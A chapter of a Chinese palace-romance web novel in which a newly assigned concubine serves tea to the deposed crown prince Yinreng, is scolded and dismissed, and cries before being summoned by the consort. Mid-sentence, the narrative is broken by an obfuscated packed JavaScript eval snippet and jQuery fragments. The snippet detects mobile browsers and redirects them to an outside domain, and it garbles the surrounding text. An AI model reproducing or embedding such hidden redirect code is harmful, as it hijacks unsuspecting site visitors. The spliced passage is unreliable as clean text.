如果程纤月没猜错的话,这去前院奉茶实际上就是提醒二阿哥,你宫里又多了个陪睡的。她心里越想越觉得别扭。虽说封建王朝都是盲婚哑嫁,皇子的福晋、格格更是如此,但实际落在她头上还真是让人不忿啊。
她连废太子的面都没见过呢,第一次见面就要去床上?这难度太大,她一点心理准备都没有!
但旁人一点都不顾及她别不别扭。到了晚上,粗使的太监抬了热水进来,霜嬷嬷站在浴桶旁亲自把她里里外外都洗了个遍,接着给她重新梳妆,盘好了头发,又将福晋赏赐的簪子,花钿插在其中。这都是金子打的,上头还嵌着珍珠和宝石,在烛火下盈盈闪闪,好看极了。
“格格随奴婢来吧。”霜嬷嬷把人妆扮好,对自己的手艺满意的点了点头,只是略蹙眉的看了看程纤月穿的那身衣裳。不过这也没办法,赏赐的布料现做衣服也来不及,就只能在头上多下功夫。
程纤月很想跟她说我还没准备好呢,能不能给她两天时间做做心理建设,但霜嬷嬷那张脸和管秀女的严嬷嬷太像,她一点拒绝的话都说不出来。
来到前院时天色已经大黑,只有正殿的烛火还亮着。
霜嬷嬷和陈合对了个眼色,沉声道:“陈公公,奴婢奉福晋的命来,现就把程格格交给你了。”说罢朝殿门福了福身,然后直接走了。
陈合待她离开后朝一边挥了挥手,不一会有个眼熟的圆脸小太监从旁边茶房内走出来,手上端着茶盘。林全安眉眼低垂的将茶盘交到若云手上,再由若云交给程纤月。
陈合对程纤月说道:“二爷正在东间处看书,格格进去后不必行礼,将茶奉上便可。若是二爷问起来,格格再回话。”
程纤月端着茶盘重重的点了点头,在心里给自己打劲加油。这伸头也是一刀,缩头也是一刀,反正都要挨一刀那就今天挨吧。
她深吸了一口气却没呼出来,憋着那股势头像上刀山火海那般走了进去。低着头来到东间,余光便瞧见到一个穿着湖蓝色蟒袍的男子在炕榻上靠窗坐着,这就是废太子二阿哥胤礽,正儿八经的龙子凤孙。
她跟见着明星似的,心里翻腾了半响,但记着陈合的话没敢吭声,小步走过去,颔首低眉的将托盘上的茶杯放到炕榻的案桌上,杯子落下发出轻微的咔嚓声。
胤礽连余光都没给她一个,伸手掀了一页书本,另一只手拿着茶盖刮了刮沫子,拿起似抿非抿了一口后又把杯子重重的放了下去,蹙眉道:“茶水冷了。”
程纤月:不是,这怎么跟预想的不一样呢?但现在可不是思索的时候,她赶忙回答:“奴才这就去换一杯。”说着把那杯茶从案桌上拿了下去。
陈合见她这么快出来有些诧异,还不等开口就听见她说:“公公,二爷说茶冷了,再换一杯吧。”陈合赶忙又叫小太监去茶房,不一会又端出来一杯。
程纤月接过,马不停蹄的又进了正殿,结果才把茶杯放下,就见胤礽伸手摸了摸杯壁,又说:“水又烫了。”
程纤月这下是真脸红了。她对茶没研究啊,什么水凉了烫了的,泡茶这么讲究吗,她是一点都不知道哇。她没法子,只好又端着茶退了出去。
再次从正殿出来,陈合看她的眼神都有些不一样了。程纤月不知道哪里出了毛病,心想可能泡茶的小太监是新来的,手艺不到家,便对陈合说道:“公公,二爷说这次的茶太烫了。”
陈合此时也觉得难办。这哪里是茶水凉了热了的,分明是二阿哥有了邪火,给这个新格格脸色看。
程纤月左思右想猜测也有可能是茶叶的问题,于是问道:“公公,是不是二爷不喜欢这茶?要不换一种别的?”
陈合深深的看了她一眼,倒也没反驳而是叫小太监去茶房吩咐将六安茶换成碧螺春。
程纤月第三次进来,把茶杯放好后,提心吊胆的退到一旁,迟疑了一下小声说道:“奴才想着刚刚的茶泡的不好,所以换成了碧螺春......”
话音落下,就见胤礽直直的看了过来,目光似箭。程纤月心里一个激灵,心想难倒他不喜欢这种茶,坏了,是不是办错事了。果不其然,胤礽当下冷哼了一声问她:“谁给你的胆子,准许你换的?”
程纤月脑子一下卡了壳,动作就慢了半拍,跪下后脑中还是一片空白,嘴上颤颤巍巍的说:“奴才有罪。”
胤礽将书重重的摔在桌上,讥讽道:“这就是特意送过来的人,如此没规矩。”接着厉声说道:“出去!”
程纤月面色惨白的起了身,怎么走出来的都不知道。若云赶忙上前扶了她一把,好歹没摔了。
刚刚屋里的动静外头人可是听的清清楚楚,陈合当下垂眼道:“程格格,您请回吧。”
程纤月抿了抿唇说了声好,接着和若云踉踉跄跄的回了后院。刚进门坐下,抬眼便看到若云面上一片仓惶,她再也忍不住眼泪稀里哗啦的下来了。
陈合等了约半柱香的功夫才进正殿,提醒二阿哥到点该安寝了,待伺候完将正殿的烛火熄了后出来,没回自己住的围房,反而抬腿先去了茶房。
茶房内,煮水泡茶的小太监赶忙垂手站了起来。自己沏的茶被退回来几次还连累了新来的格格,他现在脸色已经堪比猪肝了。“陈爷爷,是奴才手艺不到家。”他哭丧着一张脸说。
陈合叹了一口气。原先伺候二阿哥的人都死绝了,现在进来的都是新人还需要调教,于是开口指点他两句:“这就不是茶的事。”
不是茶的事?泡茶小太监当即一愣。
二阿哥是对万岁爷心有怨气,才借着奉茶的由头冲新指进来的程格格发火。但这话不能明说,说出来就是在两位主子中间挑事。只能说程格格命不好,不得二阿哥的喜欢。
陈合长长的舒了一口气,当下又道:“罢了,跟你也说不明白,往后泡茶的事交给旁人吧。”
泡茶小太监苦着张脸,委屈巴巴的答应了。
后院东偏殿里,程纤月哭了一通,心里好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178801|180853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
受多了。说实话,一开始她是委屈的哭,但哭到后面就不再只是因为奉茶的事哭了。
她心想,这就是皇宫吗,真踏马不是人呆的地方。
本来想着在宫里顶多住一个月,等复选落选后就能回家了,结果可好,也不知她上辈子做了哪门子孽,竟然指给了废太子!
太子哎,二废二立,这才一废吧,往后还有一立一废等着呢,再往后一辈子的圈禁跑不了。她这辈子怕是都出不去皇宫了。有这么操淡的人生吗?啊?
程纤月仿佛要把进宫后受的委屈全哭出来似的,哭到最后身子都直抽抽。
呸,脾气这么差,一点都不宽容待下,怪不得被废呢,活该。她暗搓搓的想道,接着也不哭了,嘴角裂出一个难看的笑来。嘿嘿,这话放到现在可是大逆不道,但是这么想真的好爽。
她心里一通阿Q似的乱骂,成功的止住了哭声。
若云从外头打了水进来,就看到程纤月坐在那手上拿着帕子擦眼泪,脸上又哭又笑跟个傻子似的。她心想,完了,这新格格不会被刺激糊涂了吧,赶忙走过来道:“格格,洗洗脸吧。”
程纤月带着鼻音嗯了一声,才从炕榻上下来,腿就软了下去,方才哭的太多,力气都给哭没了。
若云当下被唬了一跳,生怕程纤月磕在脸上。若是主子毁了容,她这个贴身宫女绝对跑不了,着急忙慌的把程纤月扶起来,细细打量了一番才放心。
程纤月脸干的不行,拿湿漉漉的帕子敷了敷才觉得松快。等洗完了脸,她是彻底不哭了,因为她饿了。为着晚上要去奉茶,送上来的饭菜都没怎么吃,现在肚子咕噜噜的叫,抬起头来询问道:“房里还有没有点心?”
若云没想到她竟然想着吃,为难的回答:“送过来的饽饽都已经吃完了。而且格格,现在已经很晚了,这个点各宫都落了锁,不好叫宵夜。奴婢伺候您安寝好吗?”
好吧,程纤月委屈巴巴的想。早知道她晚上就多吃点了,白准备一场,最后只挨了一顿骂。
程纤月洗了脚穿着里衣躺在不大的床上,直勾勾的看着床架子上的帐子,在心里默默数羊。还是好饿啊,赶快睡,睡着就不觉得饿了。到最后她也不知道几点睡的,反正迷迷糊糊的睡着了。
到了第二天早上饭点,福晋那边来了人。这回不是霜嬷嬷,而是一个叫素心的宫女。她恭敬的行了礼,沉声说道:“程格格,福晋请您用过膳后去一趟正院。”
程纤月愣了一下,心想让她过去干什么,总不能是治罪的吧。她迟了半拍才道:“请福晋稍待,我收拾一下就去。”
结果等素心走后,若云却催促她动起来,别叫福晋等急了。程纤月的手上还有半拉的红枣饽饽,清粥也只喝了几口,被若云催的烦了,当下把东西一放:“好了好了,那等回来再吃吧。”说着叫她给自己梳头。
等程纤月收拾好到了正院,她终于松了一口气,因为福晋不是要治她没伺候好阿哥的罪,而是来宽慰她的。